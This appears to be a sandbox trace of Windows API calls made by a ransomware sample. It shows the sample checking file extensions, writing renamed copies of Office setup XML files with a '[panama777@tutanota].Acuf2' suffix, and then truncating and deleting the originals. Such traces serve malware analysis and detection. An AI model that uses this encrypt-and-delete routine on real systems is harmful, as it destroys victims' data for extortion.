	[0045.172] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.172] lstrlenW (lpString=".7z") returned 3
	[0045.172] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.172] lstrlenW (lpString=".dbf") returned 4
	[0045.172] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.172] lstrlenW (lpString=".1cd") returned 4
	[0045.173] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.173] lstrlenW (lpString=".jpg") returned 4
	[0045.173] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.173] lstrlenW (lpString=".doc") returned 4
	[0045.173] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.173] lstrlenW (lpString=".docx") returned 5
	[0045.173] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0045.173] lstrlenW (lpString=".pdf") returned 4
	[0045.173] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.173] lstrlenW (lpString=".xls") returned 4
	[0045.173] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.173] lstrlenW (lpString=".xlsx") returned 5
	[0045.173] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0045.173] lstrlenW (lpString=".ppt") returned 4
	[0045.173] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.173] lstrlenW (lpString=".zip") returned 4
	[0045.173] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.173] lstrlenW (lpString=".rar") returned 4
	[0045.173] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.173] lstrlenW (lpString=".bz2") returned 4
	[0045.173] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.173] lstrlenW (lpString=".7z") returned 3
	[0045.173] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.173] lstrlenW (lpString=".dbf") returned 4
	[0045.173] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.174] lstrlenW (lpString=".1cd") returned 4
	[0045.174] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.174] lstrlenW (lpString=".jpg") returned 4
	[0045.174] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.174] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0045.174] lstrlenW (lpString="OneNoteMUI.XML") returned 14
	[0045.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0045.174] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1606) returned 1
	[0045.174] CloseHandle (hObject=0x1e8) returned 1
	[0045.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20
	[0045.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0045.175] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.175] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0045.178] GetLastError () returned 0x0
	[0045.178] ReadFile (in: hFile=0x1e8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x646, lpOverlapped=0x0) returned 1
	[0045.180] WriteFile (in: hFile=0x1f0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x650, lpOverlapped=0x0) returned 1
	[0045.181] ReadFile (in: hFile=0x1e8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.181] WriteFile (in: hFile=0x1f0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0045.181] SetEndOfFile (hFile=0x1f0) returned 1
	[0045.181] CloseHandle (hObject=0x1f0) returned 1
	[0045.182] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.182] SetEndOfFile (hFile=0x1e8) returned 1
	[0045.183] CloseHandle (hObject=0x1e8) returned 1
	[0045.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.183] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1
	[0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.183] lstrlenW (lpString=".doc") returned 4
	[0045.183] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.184] lstrlenW (lpString=".docx") returned 5
	[0045.184] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0045.184] lstrlenW (lpString=".pdf") returned 4
	[0045.184] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.184] lstrlenW (lpString=".xls") returned 4
	[0045.184] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.184] lstrlenW (lpString=".xlsx") returned 5
	[0045.184] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0045.184] lstrlenW (lpString=".ppt") returned 4
	[0045.184] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.184] lstrlenW (lpString=".zip") returned 4
	[0045.184] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.184] lstrlenW (lpString=".rar") returned 4
	[0045.184] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.184] lstrlenW (lpString=".bz2") returned 4
	[0045.184] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.184] lstrlenW (lpString=".7z") returned 3
	[0045.184] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.184] lstrlenW (lpString=".dbf") returned 4
	[0045.184] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.184] lstrlenW (lpString=".1cd") returned 4
	[0045.184] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.184] lstrlenW (lpString=".jpg") returned 4
	[0045.184] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.185] lstrlenW (lpString=".doc") returned 4
	[0045.185] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.185] lstrlenW (lpString=".docx") returned 5
	[0045.185] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0045.185] lstrlenW (lpString=".pdf") returned 4
	[0045.185] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.185] lstrlenW (lpString=".xls") returned 4
	[0045.185] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.185] lstrlenW (lpString=".xlsx") returned 5
	[0045.185] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0045.185] lstrlenW (lpString=".ppt") returned 4
	[0045.185] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.185] lstrlenW (lpString=".zip") returned 4
	[0045.185] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.185] lstrlenW (lpString=".rar") returned 4
	[0045.185] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.185] lstrlenW (lpString=".bz2") returned 4
	[0045.185] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.185] lstrlenW (lpString=".7z") returned 3
	[0045.185] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.185] lstrlenW (lpString=".dbf") returned 4
	[0045.185] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.185] lstrlenW (lpString=".1cd") returned 4
	[0045.185] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0045.185] lstrlenW (lpString=".jpg") returned 4
	[0045.185] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.186] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0045.186] lstrlenW (lpString="SETUP.XML") returned 9
	[0045.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0045.489] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1988) returned 1
	[0045.489] CloseHandle (hObject=0x1f8) returned 1
	[0045.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20
	[0045.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0045.489] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.489] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0045.489] GetLastError () returned 0x0
	[0045.490] ReadFile (in: hFile=0x1f8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x7c4, lpOverlapped=0x0) returned 1
	[0045.491] WriteFile (in: hFile=0x1f0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x7d0, lpOverlapped=0x0) returned 1
	[0045.492] ReadFile (in: hFile=0x1f8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.492] WriteFile (in: hFile=0x1f0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0045.492] SetEndOfFile (hFile=0x1f0) returned 1
	[0045.492] CloseHandle (hObject=0x1f0) returned 1
	[0045.493] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.493] SetEndOfFile (hFile=0x1f8) returned 1
	[0045.494] CloseHandle (hObject=0x1f8) returned 1
	[0045.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.494] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1
	[0045.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.494] lstrlenW (lpString=".doc") returned 4
	[0045.495] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.495] lstrlenW (lpString=".docx") returned 5
	[0045.495] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0045.495] lstrlenW (lpString=".pdf") returned 4
	[0045.495] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.495] lstrlenW (lpString=".xls") returned 4
	[0045.495] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.495] lstrlenW (lpString=".xlsx") returned 5
	[0045.495] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0045.495] lstrlenW (lpString=".ppt") returned 4
	[0045.495] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.495] lstrlenW (lpString=".zip") returned 4
	[0045.495] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.495] lstrlenW (lpString=".rar") returned 4
	[0045.495] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.495] lstrlenW (lpString=".bz2") returned 4
	[0045.495] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.495] lstrlenW (lpString=".7z") returned 3
	[0045.495] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.495] lstrlenW (lpString=".dbf") returned 4
	[0045.495] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.495] lstrlenW (lpString=".1cd") returned 4
	[0045.495] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.495] lstrlenW (lpString=".jpg") returned 4
	[0045.495] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.496] lstrlenW (lpString=".doc") returned 4
	[0045.496] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.496] lstrlenW (lpString=".docx") returned 5
	[0045.496] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0045.496] lstrlenW (lpString=".pdf") returned 4
	[0045.496] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.496] lstrlenW (lpString=".xls") returned 4
	[0045.496] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.496] lstrlenW (lpString=".xlsx") returned 5
	[0045.496] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0045.496] lstrlenW (lpString=".ppt") returned 4
	[0045.496] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.496] lstrlenW (lpString=".zip") returned 4
	[0045.496] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.496] lstrlenW (lpString=".rar") returned 4
	[0045.496] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.496] lstrlenW (lpString=".bz2") returned 4
	[0045.496] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.496] lstrlenW (lpString=".7z") returned 3
	[0045.496] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.496] lstrlenW (lpString=".dbf") returned 4
	[0045.496] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.496] lstrlenW (lpString=".1cd") returned 4
	[0045.496] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0045.496] lstrlenW (lpString=".jpg") returned 4
	[0045.496] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.497] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0045.497] lstrlenW (lpString="SETUP.XML") returned 9
	[0045.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.122] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=4207) returned 1
	[0046.122] CloseHandle (hObject=0x1bc) returned 1
	[0046.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20
	[0046.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.122] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.122] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.123] GetLastError () returned 0x0
	[0046.123] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x106f, lpOverlapped=0x0) returned 1
	[0046.159] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x1070, lpOverlapped=0x0) returned 1
	[0046.160] ReadFile (in: hFile=0x1bc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.160] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.160] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.160] CloseHandle (hObject=0x1f8) returned 1
	[0046.161] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.161] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.162] CloseHandle (hObject=0x1bc) returned 1
